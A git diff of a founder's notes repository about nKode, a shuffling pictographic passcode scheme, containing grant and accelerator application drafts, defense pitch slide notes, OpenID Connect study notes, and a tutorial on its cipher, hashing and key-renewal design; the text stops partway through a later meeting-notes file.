+Secret attributes: 😍🤢🤐🥸 + + _key1_   _key2_ + +| 😃😍 |  | 🥸🤩 | + +| 😇😎 |  | 🤓🥳 | + + -----          ----- + + _key3_   _key4_ + +| 🥺🤯 |  | 🫥🤥 | + +| 😡🥶 |  | 🤢🤐 | + +enter: 1,4,4,2 + +After authentication, the keypad is shuffled. + + _key1_   _key2_ + +| 🫥😍 |  | 🥸🤥 | + +| 😇🤐 |  | 🤢🥳 | + + -----          ----- + + _key3_   _key4_ + +| 😃🤯 |  | 🥺🤩 | + +| 😡😎 |  | 🤓🥶 | + + -----          ----- + +enter: 1,2,1,1 + +The user experience remains “type four digits,” but the meaning of those digits changes each time based on the on-screen challenge. + +Why this is materially different from prior studied approaches: + +We recognize that observation-resistant PIN entry methods and graphical password families have been studied extensively. nKode differentiates on two practical dimensions that matter in PoS/ATM settings: + +(a) Designed to remain resistant under multiple recorded observations (not just one). A common limitation of observation-resistant schemes is that they are designed to resist human observation not video or screen recordings. In contrast, based on our work with McCrary, we are targeting nKode configurations in which an attacker must record on the order of 5 or more sequential authentications of the same user’s nKode to recover the underlying secret. See our work on https://github.com/Arcanum-Technology/nkode-shuffle. + +b ) nKode does not require the user to enter an exact passcode sequence. Consider a keypad with 10 keys, each key displaying 10 possible icons, that can be used in a 4 icon sequence. Across all possible configurations, a user's nKode is one of 100,000,000 distinct 4-icon sequences. However, in any single login attempt, the user’s correct response maps to one of only 10,000 possible key-entry sequences. No other system works like this. + +Defensible competitive advantage: + +Our defensible advantage is that our IP covers a family of nKode implementations, not a single keypad skin. The same mechanism can ship in regulated payment settings as a virtual keypad that mirrors physical keys, and in software and accessibility variants by grouping and reshuffling visual, alphanumeric, audio, or tactile attributes. Because the claims cover both the attribute types and the grouping mechanism that defines the challenge, a fast follower cannot avoid the core invention through cosmetic substitutions (for example, swapping emojis for letters/numbers). + +Future Work: + +nKode is not limited to PoS and ATMs. It can replace passwords in apps and websites by presenting unique AI-generated icons for each user. This eliminates password reuse, keyloggers, and dictionary attacks. These properties make it a strong candidate for healthcare (where authentication happens frequently on shared or semi-public workstations) and defense (where adversaries may capture keystrokes and recorded logins). \ No newline at end of file diff --git a/projects/arcanum/NSF/Clarifying nKode.md b/projects/arcanum/NSF/Clarifying nKode.md new file mode 100644 index 0000000..66c7fcc --- /dev/null +++ b/projects/arcanum/NSF/Clarifying nKode.md @@ -0,0 +1,46 @@ +_Please clarify the specific new high-risk technical innovation you are proposing to develop, and explain how you will be able to create a defensible competitive advantage. Many systems of this general type have been studied in the past._ + + +Below is an example of a virtual keypad with 4 keys and 4 emojis per key. Suppose my icons are 😍🤢🤐🥸. At the keypad terminal, I'd enter: 1,4,4,2 +``` + _key1_ _key2_ +| 😃😍 | | 🥸🤩 | +| 😇😎 | | 🤓🥳 | + ----- ----- + _key3_ _key4_ +| 🥺🤯 | | 🫥🤥 | +| 😡🥶 | | 🤢🤐 | + ----- ----- +``` +After I successfully authenticate, my keypad gets shuffled. When I make another purchase, I'd enter 1,2,1,1 +``` + _key1_ _key2_ +| 🫥😍 | | 🥸🤥 | +| 😇🤐 | | 🤢🥳 | + ----- ----- + _key3_ _key4_ +| 😃🤯 | | 🥺🤩 | +| 😡😎 | | 🤓🥶 | + ----- ----- +``` + +This design thwarts credit card (cc) skimmers because they steal the cc number and log the zip code or debit card PIN. With nKode, skimmers would have to incorporate a camera to monitor the screen as well. What's more, they'd have to watch a user enter their nKode 5 times (based on our work with McCrary) to determine the nKode. Most skimmers are left on a cc terminal for at most a day. Thieves try to collect a few hours' worth of transactions, retrieve their skimmer, and move on to the next store to avoid getting caught and losing their skimmer (and the stolen data). The combination of requiring a camera and requiring multiple observations of the same cc/debit card on the same terminal over the course of a day is impractical. It's rare for one person to use a cc on the same terminal 5 times over the course of a week, let alone a day. + +There aren't any authentication systems that work like nKode. It is the first change to something-you-know authentication since MIT first invented username/password. At Arcanum, we advertise nKode, a pictographic passcode in the shape of a keypad, but our patent covers a broad range of designs and attributes. The keypad design is well-suited for PoS/ATMs, with a virtual keypad on the screen that mirrors the physical keypad on the terminal; however, nKode is not limited to icons or keypad shapes. For the visually impaired, our patent covers audio attributes grouped into keys. For numeric data such as SSNs, keypad attributes can be entirely numeric. In desktop/mobile applications, icons can remain static while key numbers move to them. For example, the nKode displayed below can be entered on a keyboard. With icons 😍🤢🤐🥸, a user would type 1,2,1,1, the same as the second keypad above. + +``` +😃:3, 🥸:2, 🥺:4, 🫥:1 +😍:1, 🤩:4, 🤯:3, 🤥:2 +😇:1, 🤓:4, 😡:3, 🤢:2 +😎:3, 🥳:2, 🥶:4, 🤐:1 + +``` +With the keypad arranged like it is above, the keys don't need to be numeric either. +``` +😃:c, 🥸:b, 🥺:d, 🫥:a +😍:a, 🤩:d, 🤯:c, 🤥:b +😇:a, 🤓:d, 😡:c, 🤢:b +😎:c, 🥳:b, 🥶:d, 🤐:a +``` + +In summary, nKode's moat is that we have a patent that covers a broad range of attributes: images, emojis, alphanumeric symbols, sounds, textures (like braille), and shuffles them in spatial(keys), auditory, tactile, or alphanumeric groups. CISOs and users want nKode. Users like nKode because it's easy to remember. CISOs want it because it eliminates key-logging, shoulder surfing, and password reuse. \ No newline at end of file diff --git a/projects/arcanum/NSF/NSF Section 1.md b/projects/arcanum/NSF/NSF Section 1.md new file mode 100644 index 0000000..f6f8446 --- /dev/null +++ b/projects/arcanum/NSF/NSF Section 1.md @@ -0,0 +1,21 @@ +## Prompt +Explain the core high-risk technical innovation to be researched and developed during a Phase I project. +NSF must understand what research and development is required and how this technical innovation differs from and is significantly better than existing solutions. +It may also be that the proposed innovation creates a new market. +In this case, why will it be adopted? +Describing features or benefits of the proposed technology is not sufficient. + +The FBI estimates that more than a billion dollars are lost every year to credit card skimmers. Thevies steal card information and PIN numbers to steal from unsuspecting customers. Skimmers are esencially keyloggers. They steal the debit/credit card number along with they customers PIN or zip code. nKode is designed to stop the lose of information on the keypad. The users nKode is a pictographic passcode that can be entered either directly on the screen or with the keypad. Since scimmers can't see or record the screen, the pincode entered by the user is useless. Even if the skimmer could record the screen and process the infomation, an nKode can handle 4 observation before the skimmer could learn the nKode on the 5th observation. nKode can be intergrated into existing ATM/PoS(Point-of-sales) systems. nKode uses the same standards for hashing and encrypting as password/passcodes too. There is a $1billion dollar per year insentive to use nKode a a replacement for pins. A 4 icon nKode has orders of magnatude more entropy than a pincode of equvalent length...... + + + +nKode represents a fundamental reinvention of authentication through a dynamic, pictographic passcode system that eliminates dependence on traditional alphanumeric passwords or static biometric inputs. +At its core, nKode is a patented, keyboard-less authentication interface using a randomized, icon-based keypad. This innovation addresses a long-standing vulnerability in digital security—the reliance on memorized text strings that are prone to reuse, theft, and human error. + +Unlike conventional systems, nKode leverages an AI-generated icon set assigned to each user, where icons are grouped and reshuffled across a virtual keypad on each login. The technical novelty lies in the backend use of transient, system-assigned values that are detached from what the user visually selects. This separation allows the system to change internal mappings without disrupting the user experience. + +nKode's security is further bolstered by high entropy in user-selected passcodes, drawing from password entropy research that emphasizes the importance of randomness and resistance to guessing attacks. Research is still need to determine the minimum passcode length. With a minimum set of 54 unique AI-generated icons and order-dependent selection, a 4-icon nKode has over 23-bits of entropy (exceeding the NIST recommendation of at least 20-bits for randomly generated memorized secrets). nKode complies with NIST guidelines by enforcing non-dictionary-searchable patterns, eliminating keyboard-based input (eliminating keylogger risk), and supporting periodic backend renewal without user intervention. When nKode is entered with a keyboard, the numbers entered appear random to keyloggers. + +The platform uses multiple layers of security: dynamic reshuffling, ciphering of user inputs, renewable backend attributes, and passcode hashing. Together, these form an authentication process resilient to phishing, replay attacks, and keyloggers that is capable of functioning securely over unencrypted or degraded channels. + +nKode’s architectural model enables a new market of secure, portable, and infrastructure-light authentication—extending MFA into environments (tactical, industrial, mobile) where traditional methods fail. It also offers a scalable and user-centric alternative for commercial applications like fintech, healthcare, and identity-first zero trust systems. \ No newline at end of file diff --git a/projects/arcanum/NSF/NSF feedback.md b/projects/arcanum/NSF/NSF feedback.md new file mode 100644 index 0000000..5ee72af --- /dev/null +++ b/projects/arcanum/NSF/NSF feedback.md @@ -0,0 +1,9 @@ +- nkode should be opt-in +- old atms shouldn't use nkode (use your old pin on legacy hardware) + - we won't hit every user. just like magnetic card strips are still used... +- we've done preliminary test for such and such a case... We are interested in studying other things... +# Arcanum +- usability study 68% approval rating in usability study. after creating their first nKode it was 63% approval rating. 35% approval for new technology is a very high score. +- FIS MVP out of their venture center accelerator +- Need to better describe nKode +- \ No newline at end of file diff --git a/projects/arcanum/Tabletop Discussion.md b/projects/arcanum/Tabletop Discussion.md new file mode 100644 index 0000000..9e12fc9 --- /dev/null +++ b/projects/arcanum/Tabletop Discussion.md @@ -0,0 +1,31 @@ + +## Documentation and Tutorials +1. [Enrollment](https://git.infra.nkode.tech/dkelly/pynkode/src/branch/main/docs/enrollment_diagram.md) +2. [Login](https://git.infra.nkode.tech/dkelly/pynkode/src/branch/main/docs/login_diagram.md) +3. [Cipher and Renew](https://git.infra.nkode.tech/dkelly/pynkode/src/branch/main/docs/encipher_decipher_renew_nkode.md) +4. [nKode API Tutorial 1](https://git.infra.nkode.tech/dkelly/pynkode/src/branch/main/notebooks/Enrollment_Login_Renewal_Simplified.ipynb) +5. [nKode API Tutorial 2](https://git.infra.nkode.tech/dkelly/pynkode/src/branch/main/notebooks/Enrollment_Login_Renewal_Detailed.ipynb) +6. [Dispersion Tutorial](https://git.infra.nkode.tech/dkelly/pynkode/src/branch/main/notebooks/Dispersion.ipynb) +7. [Split Shuffle](https://git.infra.nkode.tech/dkelly/pynkode/src/branch/main/notebooks/Split_Shuffle.ipynb) + +## Discussion Topics +### nKode Length +[Memorized Secret](https://pages.nist.gov/800-63-3/sp800-63b.html#memsecret) `Memorized secrets SHALL be at least 8 characters in length if chosen by the subscriber. Memorized secrets chosen randomly by the CSP or verifier SHALL be at least 6 characters in length and MAY be entirely numeric.` +- The minimum entropy for a randomly chosen memorized secret is approximately 20 bits. +- A keypad with 6 keys, each having 9 properties, exceeds this requirement with a minimum 4-character nKode, providing approximately 23 bits of entropy. + +### nKode Observation +- Cracking an nKode [Evil nKode](https://git.infra.nkode.tech/dkelly/evilkode) +- Replay Attack + +### Dispersion Attack + +### nKode Over low-bandwidth + +### nKode Over Unencrypted Channel +- TOTP +- DARC + + + + diff --git a/projects/arcanum/sofwerx-slides.md b/projects/arcanum/sofwerx-slides.md new file mode 100644 index 0000000..aaad645 --- /dev/null +++ b/projects/arcanum/sofwerx-slides.md @@ -0,0 +1,73 @@ +# Sofwerx Slides + +## Slide 1 + +### Speakers Notes + +Imagine a world where warfighters and civilians can authenticate securely without passwords, even in the most challenging environments. That’s the vision behind nKode. +Our mission is to deploy a secure, intuitive, and scalable authentication technology for the tactical edge. nKode’s keyboard-less, icon-based interface modernizes the ‘something only you know’ factor of multi-factor authentication, eliminating vulnerabilities tied to traditional passwords. +We’re not doing this alone. Arcanum has partnered with Auburn University’s McCrary Institute, a hub for national security expertise, providing strategic validation. +Together, we’re building a solution that redefines authentication for defense and beyond, ensuring security and usability in critical operations. +Let’s dive into how nKode makes this a reality. + +## Slide 2 Modern Warfighter Communication and Authentication + +### Speakers Notes + +Let’s start with how modern warfighters communicate and authenticate at the tactical edge. The focus is on secure, mobile systems that keep our forces connected and protected. +Software-Defined Radios, or SDRs, allow flexible, encrypted communications that adapt to mission needs. Tactical Assault Kits provide real-time data sharing for better decision-making. Zero Trust frameworks ensure no device or user is automatically trusted, requiring continuous verification. +Edge computing processes data closer to the battlefield, reducing latency. AI-driven security analyzes threats in real time, adapting to new risks dynamically. +Together, these systems give warfighters information superiority, ensuring they can act faster and smarter, even in chaotic, contested environments. +But these advancements come with challenges. +## Slide 3 Current and Future Challenges + +### Speakers Notes + +Now, let’s look at the hurdles facing these systems, both today and moving forward. +Many warfighters, especially disadvantaged users, rely on line-of-sight, low-bandwidth communications. This restricts data throughput, making it tough to implement robust multifactor authentication, which needs more bandwidth to function effectively. +Warfighters often struggle with complex password requirements for device authentication. This difficulty leads to devices being left unlocked or open to bypass authentication, increasing the risk of mission compromise if a device is captured by adversaries. +AI-driven attacks are a growing concern, exploiting weaknesses faster than traditional defenses can respond. Nation-states wield advanced tools like cognitive electronic warfare to jam signals, signals intelligence to intercept communications, and cyber exploits to breach authentication systems. +These vulnerabilities can compromise operational security, putting missions and lives at risk. +Addressing these challenges requires innovative solutions to ensure our warfighters stay secure and connected in the future. + +## Slide 4 nKode Authentication Solution + +### Speakers Notes + +Let’s dive into nKode, a revolutionary authentication solution designed for warfighters at the tactical edge. +nKode uses a keyboard-less system with AI-generated icon codes. These are unique, easy to remember, and meet NIST security standards, ensuring robust protection. +It tackles common weaknesses like keyloggers, credential reuse, and risks from unencrypted channels, outperforming traditional passwords and biometrics. +Best of all, nKode works seamlessly over low-bandwidth, unencrypted channels, perfect for austere tactical environments. + +## Slide 5 Benefits and Impact +### Speakers Notes +Now, let’s look at how nKode delivers value to warfighters and mission success. +nKode’s design resists AI-driven attacks and sophisticated nation-state cyber threats, ensuring operational security even in contested environments. +Its intuitive design make authentication simple, reducing user error and speeding up access under pressure. Large keys make authentication easy even with gloves. An nKode is as secure as a password that’s twice its length, so an 8-icon nkode is as secure as an 16 character password. +By enabling secure, reliable communication, nKode sets a new standard for tactical authentication, giving warfighters a critical edge. + +## Slide 6 nKode Enrollment +### Speakers Notes +Let’s take a look at nKode enrollment. The enrollment process is designed to mimic the login process. +The enrollment process has two simple steps. First, the user selects their desired nKode by choosing keys with icons they like, in this case the warfighter selects "dog-tags", "drone", "ghillie suit", and "humvee". +In the second step, the warfighter confirms their nKode by select keys with the same icons in the same order. +Now our warfighter has a secure, unique and memorable nKode. +This user-friendly design helps warfighters quickly select their nKode, even in high-pressure situations. +This streamlined process makes nKode both easy to use and highly secure. +## Slide 7 Login +### Speakers Notes +Now, let’s explore how nKode’s randomly shuffling keypad delivers unmatched security for warfighter authentication. +nKode eliminates numerous attack vectors, like keyloggers and credential theft, that plague traditional systems. Its innovative design ensures that even sophisticated attacks struggle to compromise it. +Here’s why: with each authentication, the keypad’s icons randomly shuffle after every login. This means the layout changes every time, so even if someone watches you enter your nKode repeatedly, they can’t figure it out. +Also, you might notice the keypad is a bit different from the enrollment keypad. +After enrollment, icons are added to each key to make it phishing resistant. This makes it difficult for scammers to take a user through a similar process to enrollment. +This dynamic shuffling makes it virtually impossible to guess or steal a user’s nKode, providing a level of security that’s critical in contested environments where adversaries might observe or intercept. +With this approach, nKode ensures warfighters can authenticate confidently, no matter the threat. + +## Slide 8 The "So What" of nKode +### Speakers Notes +So, why does nKode matter? Let’s look at its broader impact. +nKode combines robust encryption and authentication into a single, intuitive system. It’s secure yet easy to use, addressing a key pain point in both defense and commercial settings. +For warfighters, it protects critical operations in contested environments. For civilians, it secures transactions and accounts, countering cyber threats like never before. +Ultimately, nKode sets a global standard for authentication—simple, secure, and ready for the challenges of today and tomorrow. +With nKode, we’re paving the way for safer systems across the board. \ No newline at end of file diff --git a/projects/nkode/AU Ask for Craig.md b/projects/nkode/AU Ask for Craig.md new file mode 100644 index 0000000..096487d --- /dev/null +++ b/projects/nkode/AU Ask for Craig.md @@ -0,0 +1,18 @@ +# Meeting Notes 12/2/24: AU Ask for Craig + +### Highest Priority +- Cipher: Validate our passcode and set cipher. + +- Shuffle: Quantify our shuffle algorithm with different policies. Given a policy, what's the average number of observations to crack an nKode? What's the variance? What does the distribution curve look like? + +### Middle Priority +- Database: Analysis of database encryption. What are the security implications of encrypting different parts of our database? What's the minimum amount of encryption we can do? + +### Low Priority +- DARC: Analyis our post quantum passkey (aka DARC) + + + +Start off with by quantifing, and qualifing our shuffle algorithm and passcode cipher. We'll need some statistics people on the shuffle algo and encryption people on the cipher. + +After that, we'll need encryption people to help use figure out what the minimum about of encryption we can do with our database. diff --git a/projects/nkode/Eagle Venture Lab application.md b/projects/nkode/Eagle Venture Lab application.md new file mode 100644 index 0000000..31dcb28 --- /dev/null +++ b/projects/nkode/Eagle Venture Lab application.md @@ -0,0 +1,48 @@ +# Eagle Venture Lab + +## Step 1 + +### Your Elevator Pitch should summarize the problem that needs to be addressed and why your startup is the best solution to that problem. + +#### 30-Second Elevator Pitch (100 words max)* +Password authentication has two main problems. +1) People choose bad passwords. Only 1/3 of Americans use password managers. The other 2/3rds pick their own, and most people choose bad passwords. +2) People reuse their bad passwords on multiple sites. If you aren't using a password manager, you're likely reusing the same password over and over. + +nKode is a pictographic passcode where users can only choose a strong passcode, and no two people will be able to choose the same passcode. + +### One-Sentence Pitch (25 words max)* + +nKode is a pictographic passcode that is easier to remember and more secure than a password. + +### Briefly describe your revenue model for your offering (50 words max)* + +We have two revenue models. +1) B2B model: nKode is used by businesses for employee authentication. + +2) B2C model: nKode is used by individuals to login into their accounts as you would with "Sign in with Google" or "Sign in with Apple". Arcanum Technology creates services like Clerk.com or Auth0.com. + + +### Briefly describe your startup's journey to date: + +- Tell us about yourself and why you started the business +- Describe your team and how they came together, if applicable +- How have you validated your idea? +- How have you executed on your idea? +- What is your greatest need to help you get launched? + +Brooks Brown invented nKode after a credit card skimmer stole his debit card pin number. nKode prototype version was a modified keypad with numbers instead of images. +Before the pandemic, Arcanum developed nKode for banks and financial institutions. Most financial institutions we've approached over the years want to use nKode, but none want to be the first to integrate it. +I'm the most recent founder to join Arcanum. I joined because I saw a company with a patent for an incredible technology that could dominate the identity and access management space. +Since joining, I've also developed nKode Gen2 an even more secure implementation of nKode. +We've also pivoted from trying to sell nKode to finding a strategic partner. We need a large company or institution with industry trust to stand behind our technology. + +### Briefly describe your go-to-market plan, including how you will acquire customers and any applicable sales channels you plan on selling through (50 words or less) + +Our Go-to-Market plan is to find strategic partners in industry or academia with cybersecurity expertise to validate our technology. With the backing of our strategic partner, we'll reapproach the companies that expressed interest in nKode but were unwilling to try it first. + +### Briefly describe your potential exits and the profile of the mostly likely acquirer of your company (50 words or less)* + +Our exit strategy is to be acquired by a company in the identity and access management space. A company like Okta has the most to gain with a Arcanum's patent. + + diff --git a/projects/nkode/OpenID Connect Passport Notes.md b/projects/nkode/OpenID Connect Passport Notes.md new file mode 100644 index 0000000..b835705 --- /dev/null +++ b/projects/nkode/OpenID Connect Passport Notes.md @@ -0,0 +1,113 @@ +## Ch. 2 + +## Ch. 3 OpenId Connect Endpoints +##### 3.1 Authorization Endpoint +- displays authentication and consent screen +- returns `authorization_code` See ch. 5 +- client initiates the call to the authorization endpoint +###### 3.1.2 input parameters with examples +``` +scope: openid profile email address phone +response_type: code (backend flow) || id_token token (frontend flow) || code id_token (hybrid) +client_id: id of the client +redirect_uri: redirect url +state: cross-site scripting protection +nonce: required for implict flow (frontend flow) +Optional Params: (more research on each) +claims: +display: +prompt: +max_age: maximum lifetime of the token in seconds after which the user must re-authenticate +ui_locales: +id_token_hint: +login_hint: +acr_values: +``` + +###### 3.1.3 Output +Sends authentication and access delegation (authorization) tokens to redirect endpoint. Token/s are sent as an HTTP 302 redirect. + +##### Ch 3.2 Resource Endpoint +Managed by the resource provider. Serves protected resources to authorized parties. valid OAuth `access_token` required + +##### Ch 3.3 Userinfo Endpoint +This is a resource endpoint `/userinfo` that serves profile information of the authenticated end-user. +This endpoint returns a list of claims like DOB, name, email, phone_number, profile_picture or any other claim. +This is Defined in the OpenID Connect Standard. +To the OAuth server, it's just a resource endpoint. +1) Will typically be a GET request but should support POST (not sure why) +2) should support CORS +3) Should return JSON `Content-Type: application/json` Might need to be a JWT `Content-Type: application/jwt` +``` +List of Claims: +sub: something to id the user +name +family_name +preferred_username +picture +email +birthday +zoneinfo: time zone +updated_at: last updated to the profile +Other Claims: +nonce +auth_time +at_hash: access_token hash +c_hash: authorization_code hash +acr: more research +amr: more research +sub_jwk: public key to check the signature of the id_token +``` + +##### 3.4 Token Endpoint +Called by the Client. +Client sends client_id, client_secret, and authorization_code to get an access_token, refresh_token, or id_token + +``` +Client->/token +HTTP header +Content-Type: application/x-www-form-urlencoded +Authorization: Basic {Base64URL-encoding(clientID:clientSecret)} + +Form Parameters: +grant_type: authorization_code +code: the authorization_code proved by the authorization endpoint +redirect_ur: redirect URL + +Response: +Header: +Cache-Control: no-store +Pragma: no-cache +Body: +{ + expires_in: access_token expiration in seconds, + access_token: OAuth access_token, + token_type: access token type `Bearer`, + refresh_token: OAuth refresh_token, + id_token: id_token for the end user +} +``` +###### 3.4.4 Validations at the Token Endpoint +- Authenticate the client +- validate authorization_code + - was issued to client + - is valid + - hasn't been used +- validate redirect_uri matches pre-registered value +##### 3.5 Redirect Endpoint +authorization endpoint delivers `id_token, access_token, authorization_token` + +## Ch. 4 Tokens in OpenID Connect + +``` +id_token +access_token +refresh_token +authorization_code +``` + +##### Two types of tokens: +###### Reference Tokens +- Randomly Generated String +- Opaque +- \ No newline at end of file diff --git a/projects/nkode/email to Founder University.md b/projects/nkode/email to Founder University.md new file mode 100644 index 0000000..0ebd5a7 --- /dev/null +++ b/projects/nkode/email to Founder University.md @@ -0,0 +1,16 @@ +# Email to Founder University + +Hi Kelly and Lukas, + +Thank you for taking the time to review our application. We're so delighted to have received an acceptance from you. It means a lot to me and the team that you'd include us in your 9th cohort. + +I'm a big fan of the All In Podcast and This Week in Startups, so I leaped at the opportunity without considering whether I'd be a good fit for Founder University. After a deeper look at the program, I don't think we'd be a good fit. + +My cofounders and I have been trying to get our technology into mostly fintech companies for over five years, and there is a lot of interest in nKode. Despite this interest, companies are unwilling to do so with a technology that has yet to be widely adopted or has the backing of a trusted identity provider. + +This year, we have shifted our focus to finding a strategic partner (like Okta or Microsoft) with the credibility to back nKode as a secure authentication technology. + +Here's our ask: can we set up a meeting with you or someone on your team to help us find a strategic partner? + +Thanks, +Donovan diff --git a/projects/nkode/google accelorator questions and answers.md b/projects/nkode/google accelorator questions and answers.md new file mode 100644 index 0000000..80a65be --- /dev/null +++ b/projects/nkode/google accelorator questions and answers.md @@ -0,0 +1,8 @@ +# Why do you want to apply to this program? What are your expectations? +My cofounders and I have been trying to get our technology into mostly fintech companies for over five years, and there is a lot of interest in nKode. Despite this interest, companies are unwilling to do so with a technology that has yet to be widely adopted or has the backing of a trusted identity provider. We hope this will lead us to a strategic partner with the credibility to take nKode to market. + +# How can you contribute to the success of other startups in your cohort? +As CTO of Arcanum Technology, I can contribute to the success of other startups by sharing my technical expertise in LLM/RAG development and authentication. I have experience accross a wide domain of tech stacks from embedded system to web development. I can provide mentorship on technicial problems other in my cohort migh have. + +# Tell us about the founding team story +Brooks Brown, the inventor of nKode, got the idea for it when a family friend had their debit card number and pin stolen from credit card skimmer. He originally developed nKode as a way to make skimming impossible. diff --git a/projects/nkode/nkode_tasks_before_marketing.md b/projects/nkode/nkode_tasks_before_marketing.md new file mode 100644 index 0000000..a1450e8 --- /dev/null +++ b/projects/nkode/nkode_tasks_before_marketing.md @@ -0,0 +1,18 @@ +# nKode Tasks Before Marketing + + +## TODO in todoist + +- sqlite cron job backup +- fail2ban +- logging and detailed errors +- Improve UX: remove example keypad, example what do to in set and confirm, fix bg color + +## TODO not in todoist +- Written Documentation at docs.nkode.tech +- Video Documentation on Youtube +- What should the user see when they log in? + +## DONE + +- Email Verification and Forgot Password diff --git a/projects/nkode/nkode_tutorial.md b/projects/nkode/nkode_tutorial.md new file mode 100644 index 0000000..6a074f4 --- /dev/null +++ b/projects/nkode/nkode_tutorial.md @@ -0,0 +1,184 @@ +# nKode Tutorial + +## nKode Keypad + +- nKode keypad contains keys +- Each key has icons +- Each icon belongs to a set and has an index value associated with it +- The position within the key is the set value +- When attributes are shuffled, they'll always remain in the same position within the key + (note: the set value can be obuscated from the client but we find it helpful to quickly find the attribute) + +## nKode Enrollment + +- user sets then confirms their nKode +- Set and Confirm are dipersion of each other and allow the server to infer the users nKode +- the users login has additional icons added to each to key to make it dispersion resistant +- After the user as selected their nKode through the set and confirms, + the server can infer the users selection since each key selection will only have one icons in common. +- The users nKode is enciphered, salted and hashed. + +## Dispersion + +- Two keypads are dispersion of each other if: +Kp1: Keypad 1 +Kp2: Keypad 2 + +for each key1 in Kp1: + for each key2 in Kp2: + iconsIntersection(key1, key2) <= 1 + + +## Dispersion Algo + +- Convert a Keypad view into a matrix view + - each row is key and each column is a set +- Fisher Yates the keys i.e. the rows in the matrix +- Fisher Yates an identity matrix equivalent to the number of keys +- The shuffled permutation is used to rotate the columns + + +## Dispersion Resistance + +- Dispersion is only possible if {number of icons per key} <= {number keys in the keypad} +- If there are more icons per key than keys, it makes it difficult to phish for a users nkode + + +## Cipher Keys + +#### attribute key + +- randomly generated array of unsigned integars +- array of length {numb of keys} * {number of attributes per key} +- xored with ss-attr to give each user a unique + +#### passcode key + +- randomly generated array of unsigned integars +- array of length {max nKode length} +- xored with final user passcode + +#### set key + +- used to recover users nkode set values +- array of unsigned integars +- each elemenet in the array is a random number XOR'ed with the set value of the users nKode +- so `for set_key_i in user_set_key` + `set_key_i = user_passcode_set_i ^ random_set_key_i` + +#### mask key + +- used to recover users nkode set values +- array of random unsigned integars + +#### server-side attributes (ss-attr) and sets (ss-set) + +- Each icon has a server side attribute. +- The icon and the ss-attr are indexed to the same place in an array. +- The dispersion and shuffle operation are applied to the index array and the index array is applied to the icon and ss-attr +- ss-attrs are randomly generated permutation of unsigned ints (or byte arrays of any length for extra security) + +### Encipher and Hash nKode Passcode +passcode = index values of the selected icons infered in set/comfirm +user_attrs = arr_xor(ss_attr, user_attr_key) +passcode_attr = [user_attrs[idx] for idx in passcode] + +ciphered_passcode = arr_xor(passcode_attr, user_passcode_key) + +// optional sha256 if ciphered_passcode is more than 72 bytes +passcode_digest = sha256(ciphered_passcode) + +hashed_passcode = bcrypt(passcode_digest) + +### Enicphering nKode Set + +nKode mask is used to recover the users nKode +1. set_key_i = (set_rand_numb_i ^ set_val_i) +2. mask_key_i = mask_rand_numb_i + +passcode = index values of the selected icons infered in set/comfirm +// recall ss_set array is an order list +set_idx = get_set_value(passcode) +user_set_keys = [set_key[idx] for idx in set_idx] +user_set_vals = [ss_sets[idx] for idx in set_idx] +mask = arr_xor(user_set_val, user_set_keys, mask_key) + +- mask_i = mask_key_i ^ padded_passcode_server_set_i ^ set_key_i +- mask_i = mask_rand_num_i ^ set_val_i ^ set_rand_numb_i ^ set_val_i +- mask_i = mask_rand_num_i ^ set_rand_numb_i # set_val_i is cancelled out + +#### nKode Validation +// set_val_i = mask_i ^ set_key_i ^ mask_key_i +// selected_keys the keys the user selects +recovered_set_vals = arr_xor(mask, set_key, mask_key) +user_keypad = get_user_keypad(username) + +presumed_password = get_pressumed_passcode(user_key, selected_keys, recovered_set_val) + +if is_valid_passcode(presumed_password, hashed_passcode) + return LOGIN_SUCCESS +else + return LOGIN_FAIL + + +## nKode Login Shuffle + +- After a successful login, the users keypad is shuffled in a two step process: + 1. the keys are randomly shuffled + 2. half the sets are randomly shuffled +- We've found this works best for xyz reason and we're also working on simulations to find a probablity curve for number of overserveration before an adversery can crack an nkode + + +## nKode Login + +- When a user request their nkode keypad, the server sends a list of svgs in the order they should be displayed +- The Gen2 demo implementation works a bit different it sends the svgs indexed in order from 0-total_numb_of_attr along with an index array for how the svgs should be ordered + - this is a legacy from the gen 1 keypad but it helps to make the implemntation more concrete so we'll use this legacy +- The frontend organized the svgs into keys and displays them. +- The user selects keys for their nkode and their key selection is sent back to the server for validation + + +## Preventing User Enumeration + +- This isn't applied in the demo application +- We can prevent a threat actor from enumerating users. + - if a valid email is entered into the login for a user that dne, we can create a ghost keypad and have it behave as if it were a real user. + - if there are too many "failed nkode attempts" we lock the non-existing user out. +- We can prevent timing attacks by either mocking the real control flow or setting a 1 or 2 sec response delay from the time the login request was recieved thereby completely elimiating timing attacks + +## Renew +Renew changes user ciphers, user salt, ss_attr, and ss_set. +This is import in the event of a partial database hack or leak. +An admin or cron job can run the renew with any frequency (daily, weekly, monthly) +Users are aware of this process. +Nothing changes for them. + +### Three Step Renew +Renew has three phases + +1. Server-Side Attribute Renewal: ss_attr and ss_set values are replaced with new values +2. Intermdiate User Renewal: every user goes through an intermediate phase before full Renewal +3. Full User Renewal: The user's first successful login completes the renewal. User has gets new salt, and cipher + +#### Server-Side Attribute Renewal + +old_ss_attr, old_ss_set = get_ss_vals() +renew_ss_vals() // new randomly generated values +new_ss_attr, new_ss_set = get_ss_vals() + +xor_ss_attr = arr_xor(old_ss_attr, new_ss_attr) +xor_ss_set = arr_xor(old_ss_set, new_ss_set) + +#### Intermdiate User Renewal + +all_users = get_all_users() +for user in all_users: + user.renew = True // This flags the server to complete phase 3, full user renewal + user.set_key = xor_lists(user.set_key, xor_ss_set) // recall user.set_key = rand_num ^ old_ss_set. this operation cancels out old_ss_set and replaces it with new_ss_set + user.attribute_key = xor_lists(user.attribute_key, xor_ss_attr) // recall user.attribute_key ^ old_ss_attr are the user's nkode ss attributes so when we + +#### Full User Renewal + +After a successful login user keys are reset as if the user was signing up for the first time + + diff --git a/projects/smartdoserx/1.13.26 ActX meeting notes.md b/projects/smartdoserx/1.13.26 ActX meeting notes.md new file mode 100644 index 0000000..47b0699 --- /dev/null +++ b/projects/smartdoserx/1.13.26 ActX meeting notes.md @@ -0,0 +1,8 @@ +- basic auth over https +- HL7 spec?: https://www.hl7.org/ +- andrew Ury is talking about an API. what's the API? + - is he building a LIMS? +- receive reports through ActX portal?: https://www.actx.com/ +- Who's Paul Holland from actx? +- Is Brooks and Jeremy working together? what does Jeremy do? +- EHR https://www.gethealthie.com/ diff --git a/projects/smartdoserx/10.17.25 phone call with James Hopper.md b/projects/smartdoserx/10.17.25 phone call with James Hopper.md new file mode 100644 index 0000000..6f2eb73 --- /dev/null +++ b/projects/smartdoserx/10.17.25 phone call with James Hopper.md @@ -0,0 +1,8 @@ +- ActX might have 